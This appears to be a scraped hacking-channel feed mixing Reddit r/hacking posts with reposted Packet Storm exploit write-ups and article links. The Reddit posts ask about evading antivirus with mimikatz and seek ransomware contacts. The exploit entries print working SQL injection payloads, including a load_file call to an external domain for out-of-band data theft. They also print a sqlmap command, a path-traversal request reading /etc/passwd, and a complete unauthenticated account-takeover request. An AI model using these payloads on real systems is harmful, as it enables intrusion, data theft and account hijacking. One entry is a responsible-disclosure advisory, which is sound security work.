hacking: security in practice
Follina — A new 0-day vulnerability in Microsoft Office

https://external-preview.redd.it/Bhsna7Pu1xf9Wcgg_hcdBclstx4w230VYQDmbM9EXIY.jpg?width=320&crop=smart&auto=webp&s=9999850f774daa309a62885c71ca6dcb8ae21b63 submitted by /u/CyberMasterV
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
mimikatz.exe to evade av & edr detection

I've watched IppSec's video on how to evade AV detection using mimikatz.exe as a sample and wondering if you guys use similar approach?
https://www.youtube.com/watch?v=9pwMCHlNma4
Visual Studio is huge and heavy, wish there's alternative to compile and build exe without it. I wish there's a way to automate this process. Not sure if there's any tools build for this purpose.

From your experience, what is the best way to evade av/edr detection?

submitted by /u/w0lfcat
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Ransomware

Anybody who knows about ransomeware message me or if anybody knows about any good forums or articles about them please let me know

submitted by /u/ry1474
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
beEF setup

Hello hackers, Does anyone know how to setup beEF on the latest version of Ubuntu? Been struggling with finding tutorials on YouTube and turned here.

submitted by /u/ChickenParm277
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Fast Food Ordering System 1.0 SQL Injection

https://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png
Fast Food Ordering System version 1.0 suffers from a remote SQL injection vulnerability.

SHA-256 | 8518a971cab0dde43baf3b5a9ad23a3139fcb7aaaf3e739e7c20225885b170fd

Download
## Title: Fast Food Ordering System 1.0 SQLi
## Author: nu11secur1ty
## Date: 05.30.2022
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/15366/fast-food-ordering-system-phpoop-free-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Fast-Food-Ordering
## Description:
The date parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\j7r9s1wbepgqucip3y4eqrwzjqpkdb3zu2it5kt9.kakmoesitolkovatupiuporit.we\\wrk'))+'
was submitted in the date parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The attacker can take administrator accounts control and also of all
accounts on this system, also the malicious user can download all
information about this system.

Status: CRITICAL

[+] Payloads:

```mysql
---
Parameter: date (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: page=reports&date=2022-05-30'+(select
load_file('\\\\j7r9s1wbepgqucip3y4eqrwzjqpkdb3zu2it5kt9.kakmoesitolkovatupiuporit.we\\wrk'))+''
OR NOT 9209=9209 AND 'OBPK'='OBPK

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: page=reports&date=2022-05-30'+(select
load_file('\\\\j7r9s1wbepgqucip3y4eqrwzjqpkdb3zu2it5kt9.kakmoesitolkovatupiuporit.we\\wrk'))+''
AND (SELECT 1113 FROM(SELECT COUNT(*),CONCAT(0x7178716271,(SELECT
(ELT(1113=1113,1))),0x71706a7671,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'BQRx'='BQRx

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=reports&date=2022-05-30'+(select
load_file('\\\\j7r9s1wbepgqucip3y4eqrwzjqpkdb3zu2it5kt9.kakmoesitolkovatupiuporit.we\\wrk'))+''
AND (SELECT 2021 FROM (SELECT(SLEEP(5)))KAaB) AND 'ECXY'='ECXY

Type: UNION query
Title: MySQL UNION query (NULL) - 6 columns
Payload: page=reports&date=2022-05-30'+(select
load_file('\\\\j7r9s1wbepgqucip3y4eqrwzjqpkdb3zu2it5kt9.kakmoesitolkovatupiuporit.we\\wrk'))+''
UNION ALL SELECT
NULL,NULL,NULL,CONCAT(0x7178716271,0x785874484e685679414c78427953454c4b62524778654f596e645841574978764f414a7a6d616372,0x71706a7671),NULL,NULL,NULL,NULL,NULL#
---
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Fast-Food-Ordering)

## Proof and Exploit:
[href](https://streamable.com/kkyrgk)


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress User Meta Lite / Pro 2.4.3 Path Traversal

https://1.bp.blogspot.com/-ju6c7E-5MWk/WWlvdc1QT-I/AAAAAAAAIPk/ByEXv5vo16UsrlpTJMmF2Op4hfJEgrRpQCLcBGAs/s1600/h79.png
WordPress User Meta Lite and Pro plugin versions 2.4.3 and below suffer from a path traversal vulnerability.

SHA-256 | 9f5dfc7d061a12ed0156906753e063fd8b488898a8f4b2709039a9ee6f78125f

Download
RCE Security Advisory
https://www.rcesecurity.com
1. ADVISORY INFORMATION
=======================
Product: User Meta
Vendor URL: https://wordpress.org/plugins/user-meta
Type: Relative Path Traversal [CWE-23]
Date found: 2022-02-28
Date published: 2022-05-24
CVSSv3 Score: 4.3 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)
CVE: CVE-2022-0779
2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.
3. VERSIONS AFFECTED
====================
User Meta Lite 2.4.3 and below
User Meta Pro 2.4.3 and below
4. INTRODUCTION
===============
An easy-to-use user profile and management plugin for WordPress that allows
user login, reset-password, profile update and user registration with extra
fields, all on front-end and many more. User Meta Pro is a versatile user
profile builder and user management plugin for WordPress that has the most
features on the market. User Meta aims to be your only go to plugin for
user management.

(from the vendor's homepage)
5. VULNERABILITY DETAILS
========================
The WordPress ajax action "um_show_uploaded_file" is vulnerable to an
authenticated path traversal when user-supplied input to the HTTP POST
parameter "filepath" is processed by the web application. Since the application
does not properly validate and sanitize this parameter, it is possible to
enumerate local server files using a blind approach. This is because the
application doesn't return the contents of the referenced file but instead
returns different form elements based on whether a file exists or not.

The following Proof-of-Concept triggers this vulnerability:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 147
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: [your-wordpress-auth-cookies]
Connection: close

field_name=[your-field-name]&filepath=/../../../../../etc/passwd&field_id=[your-field-id]&form_key=[your-form-key]&action=um_show_uploaded_file&pf_nonce=[your-auth-nonce]&is_ajax=true
6. RISK
=======
The vulnerability can be used by an authenticated attacker to enumerate
local server files based on a blind approach.
7. SOLUTION
===========
Update to User Meta/User Meta Pro 2.4.4
8. REPORT TIMELINE
==================
2022-02-28: Discovery of the vulnerability
2022-02-28: WPScan (CNA) assigns CVE-2022-0779
2022-03-03: Contacted the vendor via their contact form
2022-03-06: Vendor response, acknowledgement of the issue
2022-03-18: Version 2.4.2 is released
2022-03-22: Vulnerability is still exploitable since fix was applied only client-side. Contacted vendor again.
2022-04-13: No response, contacted vendor again
2022-04-18: Vendor added a new fix to version 2.4.3. Asked to retest.
2022-04-19: Vulnerability is still exploitable due to a logic bug in the fix. Contacted vendor again.
2022-04-29: Vendor asks whether another fix in version 2.4.4 is fine
2022-05-16: Fix seems to work
2022-05-24: Public disclosure
9. REFERENCES
=============
https://github.com/MrTuxracer/advisories


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Ingredient Stock Management System 1.0 SQL Injection

https://1.bp.blogspot.com/-PwD2Dirg2NY/WWlu3CzGC6I/AAAAAAAAIIs/x87GenQxU4E4sY7pWpFvaHW3XEOYBksJQCLcBGAs/s1600/h10.png
Ingredient Stock Management System version 1.0 suffers from a remote blind SQL injection vulnerability.

SHA-256 | 812877405ea0e76d72d7e4772f6c9f533edc2df0d65201ce055c9b60f7795d4d

Download
# Exploit Title: Ingredient Stock Management System v1.0 - 'id' Blind SQL Injection
# Date: 28/05/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15364/ingredients-stock-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux
Description :
----------------------

Ingredient Stock Management System 1.0 allows SQL Injection via parameter 'id' in
/isms/admin/stocks/view_stock.php. Exploiting this issue could allow an attacker to compromise
the application, access or modify data, or exploit latent vulnerabilities
in the underlying database
# Vulnerable Code :

line 74 in file "/isms/admin/stocks/view_stock.php"

$stockins = $conn->query("SELECT * FROM `stockin_list` where item_id = '{$id}' order by date(`date`) asc");

# Sqlmap command:

sqlmap -u 'http://localhost/isms/admin/?page=stocks/view_stock&id=1' -p id --level=5 --risk=3 --dbs --random-agent --eta

# Output:

Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: page=stocks/view_stock&id=1' AND 1902=1902 AND 'yluX'='yluX

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=stocks/view_stock&id=1' AND (SELECT 6709 FROM (SELECT(SLEEP(5)))gZCj) AND 'vMqP'='vMqP


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Ingredient Stock Management System 1.0 Account Takeover

https://4.bp.blogspot.com/-f2P6cxL3l-g/WWlvB5J0BVI/AAAAAAAAIKc/5_BozSRH9sAdcCSQmN2ufmoLAOqLp1P9QCLcBGAs/s1600/h125.png
Ingredient Stock Management System version 1.0 suffers from an account takeover vulnerability.

SHA-256 | ec7348c7ea40981571b3542540ba691bc12790f80da7ef325b3c3e3a10db0a85

Download
# Exploit Title: Ingredient Stock Management System v1.0 - Account Takeover (Unauthenticated)
# Date: 28/05/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15364/ingredients-stock-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux
Description :

----------------------

Ingredient Stock Management System v1.0 is vulnerable to unauthenticated account takeover.
An attacker can takeover any registered 'Staff' user account by just sending below POST request
By changing the the "id", "firstname", "lastname" , "username" , "password" ,"type" parameters
# HTTPS Request :

POST /isms/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------89160456138077069512415726555
Content-Length: 1023
Origin: http://localhost
Connection: close
Referer: http://localhost/isms/admin/?page=user/manage_user
Cookie: PHPSESSID=mia3uiom2s9bdtif290t6v1el2

-----------------------------89160456138077069512415726555
Content-Disposition: form-data; name="id"

1
-----------------------------89160456138077069512415726555
Content-Disposition: form-data; name="firstname"

test
-----------------------------89160456138077069512415726555
Content-Disposition: form-data; name="middlename"
-----------------------------89160456138077069512415726555
Content-Disposition: form-data; name="lastname"

hi
-----------------------------89160456138077069512415726555
Content-Disposition: form-data; name="username"

test
-----------------------------89160456138077069512415726555
Content-Disposition: form-data; name="password"

test
-----------------------------89160456138077069512415726555
Content-Disposition: form-data; name="type"

1
-----------------------------89160456138077069512415726555
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream
-----------------------------89160456138077069512415726555--
====
URL Login : http://localhost/isms/admin/login.php

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Schneider Electric C-Bus Automation Controller (5500SHAC) 1.10 Remote Root

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
6 Steps to Ensure Cyber Resilience

To minimize the impact of cyber incidents, organizations must be pragmatic and develop a strategy of resilience for dealing with break-ins, advanced malware, and data theft.

Hacking on Medium
Top YouTube Channels for Cybersecurity

Here is the list of top Cybersecurity YouTube channels recommended for every cybersecurity enthusiast.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Social Engineering: Menschen hacken

https://cdn-images-1.medium.com/max/612/1*m6kpeVaR4im3BQ-sTJKQJA.jpeg
Originalpost auf: byte-sized.de

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video